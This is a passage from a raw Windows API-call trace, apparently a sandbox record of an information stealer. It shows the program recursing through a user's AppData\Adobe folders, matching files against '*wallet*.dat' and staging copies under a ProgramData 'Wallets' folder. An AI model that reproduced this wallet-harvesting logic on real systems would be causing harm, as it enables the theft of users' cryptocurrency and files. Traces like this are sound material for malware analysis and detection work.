returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\NativeCache" [0052.080] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\NativeCache", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\NativeCache\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\NativeCache\\" [0052.080] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\NativeCache\\", lpString2="NativeCache.directory" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\NativeCache\\NativeCache.directory") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\NativeCache\\NativeCache.directory" [0052.080] PathMatchSpecW (pszFile="NativeCache.directory", pszSpec="*wallet*.dat") returned 0 [0052.080] FindNextFileW (in: hFindFile=0x58a240, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 0 [0052.080] FindClose (in: hFindFile=0x58a240 | out: hFindFile=0x58a240) returned 1 [0052.080] PathMatchSpecW (pszFile="NativeCache", pszSpec="*wallet*.dat") returned 0 [0052.080] FindNextFileW (in: hFindFile=0x589fc0, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0 [0052.080] FindClose (in: hFindFile=0x589fc0 | out: hFindFile=0x589fc0) returned 1 [0052.080] PathMatchSpecW (pszFile="Flash Player", pszSpec="*wallet*.dat") returned 0 [0052.080] FindNextFileW (in: hFindFile=0x58a2c0, lpFindFileData=0x19e774 | out: lpFindFileData=0x19e774) returned 1 [0052.080] lstrcpyW (in: lpString1=0x19ee4c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe" [0052.080] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\" [0052.080] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\", lpString2="Headlights" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights" [0052.080] lstrcpyW (in: lpString1=0x19ec40, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe" [0052.080] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\" [0052.080] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\", lpString2="Headlights" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Headlights") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Headlights" [0052.080] lstrcmpW (lpString1="Headlights", lpString2=".") returned 1 [0052.080] lstrcmpW (lpString1="Headlights", lpString2="..") returned 1 [0052.080] lstrcpyW (in: lpString1=0x19e0f0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights" [0052.080] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\*.*" [0052.080] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\*.*", lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0x58a4c0 [0052.081] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights" [0052.081] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\" [0052.081] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\." [0052.081] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Headlights" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Headlights") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Headlights" [0052.081] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Headlights", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Headlights\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Headlights\\" [0052.081] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Headlights\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Headlights\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Headlights\\." [0052.081] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.081] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.081] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights" [0052.081] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\" [0052.081] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\.." [0052.081] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Headlights" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Headlights") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Headlights" [0052.082] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Headlights", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Headlights\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Headlights\\" [0052.082] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Headlights\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Headlights\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Headlights\\.." [0052.082] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.082] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.082] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0 [0052.082] FindClose (in: hFindFile=0x58a4c0 | out: hFindFile=0x58a4c0) returned 1 [0052.082] PathMatchSpecW (pszFile="Headlights", pszSpec="*wallet*.dat") returned 0 [0052.082] FindNextFileW (in: hFindFile=0x58a2c0, lpFindFileData=0x19e774 | out: lpFindFileData=0x19e774) returned 1 [0052.082] lstrcpyW (in: lpString1=0x19ee4c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe" [0052.082] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\" [0052.082] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\", lpString2="Linguistics" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics" [0052.082] lstrcpyW (in: lpString1=0x19ec40, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe" [0052.082] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\" [0052.082] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\", lpString2="Linguistics" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Linguistics") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Linguistics" [0052.082] lstrcmpW (lpString1="Linguistics", lpString2=".") returned 1 [0052.082] lstrcmpW (lpString1="Linguistics", lpString2="..") returned 1 [0052.082] lstrcpyW (in: lpString1=0x19e0f0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics" [0052.082] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\*.*" [0052.082] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\*.*", lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0x58a540 [0052.085] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics" [0052.085] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\" [0052.085] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\." [0052.085] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Linguistics" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Linguistics") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Linguistics" [0052.085] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Linguistics", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Linguistics\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Linguistics\\" [0052.085] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Linguistics\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Linguistics\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Linguistics\\." [0052.085] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.085] FindNextFileW (in: hFindFile=0x58a540, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.085] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics" [0052.085] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\" [0052.085] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\.." [0052.085] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Linguistics" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Linguistics") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Linguistics" [0052.085] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Linguistics", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Linguistics\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Linguistics\\" [0052.085] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Linguistics\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Linguistics\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Linguistics\\.." [0052.085] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.085] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.085] FindNextFileW (in: hFindFile=0x58a540, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0 [0052.085] FindClose (in: hFindFile=0x58a540 | out: hFindFile=0x58a540) returned 1 [0052.086] PathMatchSpecW (pszFile="Linguistics", pszSpec="*wallet*.dat") returned 0 [0052.086] FindNextFileW (in: hFindFile=0x58a2c0, lpFindFileData=0x19e774 | out: lpFindFileData=0x19e774) returned 1 [0052.086] lstrcpyW (in: lpString1=0x19ee4c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe" [0052.086] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\" [0052.086] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\", lpString2="LogTransport2" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2" [0052.086] lstrcpyW (in: lpString1=0x19ec40, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe" [0052.086] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\" [0052.086] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\", lpString2="LogTransport2" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2" [0052.086] lstrcmpW (lpString1="LogTransport2", lpString2=".") returned 1 [0052.086] lstrcmpW (lpString1="LogTransport2", lpString2="..") returned 1 [0052.086] lstrcpyW (in: lpString1=0x19e0f0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2" [0052.086] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\*.*" [0052.086] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\*.*", lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0x58a3c0 [0052.086] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2" [0052.086] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\" [0052.086] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\." [0052.086] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2" [0052.086] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2\\" [0052.086] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2\\." [0052.086] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.086] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.086] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2" [0052.086] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\" [0052.086] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\.." [0052.086] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2" [0052.086] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2\\" [0052.086] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2\\.." [0052.086] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.086] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.086] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.086] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2" [0052.086] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\" [0052.086] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\", lpString2="Logs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs" [0052.087] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2" [0052.087] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2\\" [0052.087] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2\\", lpString2="Logs" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\LogTransport2\\Logs") 